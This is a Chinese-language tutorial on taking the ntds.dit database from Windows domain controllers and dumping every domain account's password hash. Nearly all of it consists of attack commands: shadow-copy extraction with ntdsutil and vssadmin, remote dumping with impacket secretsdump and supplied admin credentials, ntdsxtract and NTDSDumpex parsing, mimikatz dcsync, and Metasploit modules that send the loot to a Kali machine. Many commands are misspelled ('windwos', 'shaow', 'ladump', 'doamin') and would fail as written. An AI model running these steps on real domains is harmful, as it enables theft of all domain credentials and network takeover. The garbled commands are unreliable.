域控制器安全
- 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用windows本地卷影拷贝服务,就可以获得文件的副本
一、使用卷影拷贝服务提取ntds.dit
- 在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被windwos操作系统锁定的。
1.1 通过ntdsutil.exe提取ntds.dit
ntdsutil.exe是一个活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有windwos2003、windwos Server 2008、Windows Server 2012。
1. 在域控制器的命令行环境中输入如下命令,创建一个快照。该快照包含windwos中的所有文件,且在复制文件时不会受到windwos锁定机制的限制。(运行该命令后会得到一个快照的GUID)
ntdsutil snapshot "activete instance ntds" create quit quit
2.将快照加载到系统中
ntdsutil snapsshot "mount {快照GUID}" quit quit
3.将ntds.dit文件从快照中复制出来
copy C:\$SNAP_2022123111_VOLUMEC$\windwos\ntds\ntds.dit c:\test\ntds.dit
4.卸载快照并删除
ntdsutil snapshot "unmount {快照GUID}" "delete {快照GUID}" quit quit
5.查询快照是否成功删除
ntdsutil snapshot "list all" quit quit
1.2 利用vssadmin提取ntds.dit
vssadmin是windows server 2008及windwos7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(既所谓的"diff空间")的大小等。
1.在域控制器cmd中输入以下命令,创建一个C盘的卷影拷贝
vssadmin create shaow /for=c:
2.在创建的卷影拷贝中将ntds.dit复制出来
copy \\?\CLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
3.删除快照
vssadmin delete shadows /for=c: /quiet
1.3 impacket远程提取ntds.dit
运行以下代码远程提取ntds.dit
python3 secretsdump.py DC.whoamianony.org/administrator:Admin12345@192.168.1.1 -outputfile output_ntds
二、导出ntds.dit中散列值
2.1 使用esedbexport恢复ntds.dit
1.导出ntds.dit
进入存放ntds.dit的目录,使用esedbexport进行恢复操作。输入以下命令进行文件提取,如果提取成功,会在同一目录下生成一个 ntds.dit.export文件。
esedbexport -m tables ntds.dit
2.导出散列值
接下来使用ntdsxtract,这是一个取证工具,能够为我们从NTDS.dit文件中,提取与用户对象,组对象,计算机对象的相关信息以及删除对象。
ntdsxtract工具中的dsusers.py可以被用来从分离出来的表中提取用户信息以及NT/LM密码hash值
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt
ps:如果运行python2的时候抛出ImportError: No module named Crypto.Hash,那么运行以下命令 pip2 install pycryptodome
3.提取域内计算机信息及其他信息
运行以下命令可以导出域内所有计算机的信息,导出文件的格式为CSV
dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv
List of computers:
==================
Record ID: 3947
Computer name: DC
DNS name: DC.whoamianony.org
GUID: d0f32dee-98d1-4274-a516-a7c5a6d217f9
SID: S-1-5-21-1315137663-3706837544-1429009142-1002
OS name: Windows Server 2012 R2 Datacenter
OS version: 6.3 (9600)
When created: 2021-02-22 08:17:48+00:00
When changed: 2022-12-17 04:24:45+00:00
Dial-In access perm: Controlled by policy
Ancestors:
$ROOT_OBJECT$ org whoamianony Domain Controllers DC
Record ID: 4131
Computer name: PC2
DNS name: PC2.whoamianony.org
GUID: d74d8105-4059-42b5-a680-46cea22f429c
SID: S-1-5-21-1315137663-3706837544-1429009142-1113
OS name: Windows 7 专业版
OS version: 6.1 (7601)
When created: 2021-02-22 09:28:58+00:00
When changed: 2022-12-17 04:24:45+00:00
Dial-In access perm: Controlled by policy
Ancestors:
$ROOT_OBJECT$ org whoamianony Computers PC2
2.2 使用impacket工具包导出散列值
使用impacket工具包中的secretsdump,也可以解析ntds.dit文件,导出散列值。(这里将 ntds.dit.export 和 SYSTEM 文件放入到 impacket 工具的文件夹中)
1.本地导出散列值:
输入以下命令导出散列值
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
2.通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值
impacket-secretsdump -hashes <hashdump值> -just-dc DC.com/Administrator@192.168.1.1
2.3 在windows下解析ntds.dit并导出域账号和域散列值
使用NTDSDumpex.exe可以进行导出散列值的操作。
将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录下,打开cmd,输入以下命令导出域账号和域散列值
NTDSDumpex.exe -d ntds.dit -s system
三、利用dscync获取域散列值
3.1 使用mimikatz转储域散列值
mimikatz有一个dscync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。但是条件是必须是域管理员权限运行mimikatz才可以读取到ntds.dit.
在域内的任意一台计算机中,以域管理员权限打开cmd,运行mimikatz。输入以下命令使用mimikatz导出域内所有的用户名及散列值。
ladump::dcsync /doamin:doc.com/all /csv
使用mimikatz的dcsync功能也可以导出指定用户的散列值。可以直接导出域用sa的散列值
lsadump::dcsync /domain:doc.com /user:sa
四、使用Metasploit获取域散列值
4.1 psexec_ntdsgrad模块的使用
在kali linux中进入Metasploit环境,输入以下命令,使用psexec_ntdsgrad模块
use auxliiary/admin/smb/psexec_ntdsgrab
输入 show options 查看需要配置的参数,需要配置的参数有RHOST、SMBDomain、SMBuser、SMBPass。
配置好后,输入 run 命令并执行(该脚本使用卷影拷贝服务),将ntds.dit文件和SYSTEM项复制并传送到Kali Linux机器的 /root/.msf4/loot 文件夹下。
接下来,就可以使用impacket工具包等解析ntds.dit文件,导出域账号和域散列值。
4.2 基于meterpreter会话获取域账号和域散列值
1.在使用msf得到了meterpreter会话后,在meterpreter里输入"background"返回到msfconsole界面,输入“sessions"查看meterpreter的会话编号,这里假设编号为1。
2.进入"/windwos/gather/credntials/domain_hashdump",输入meterpreter的会话编号“set session1”,然后输入“run”执行该exp
3.这样ntds.dit就被解析了,域账号和域散列值被导出了。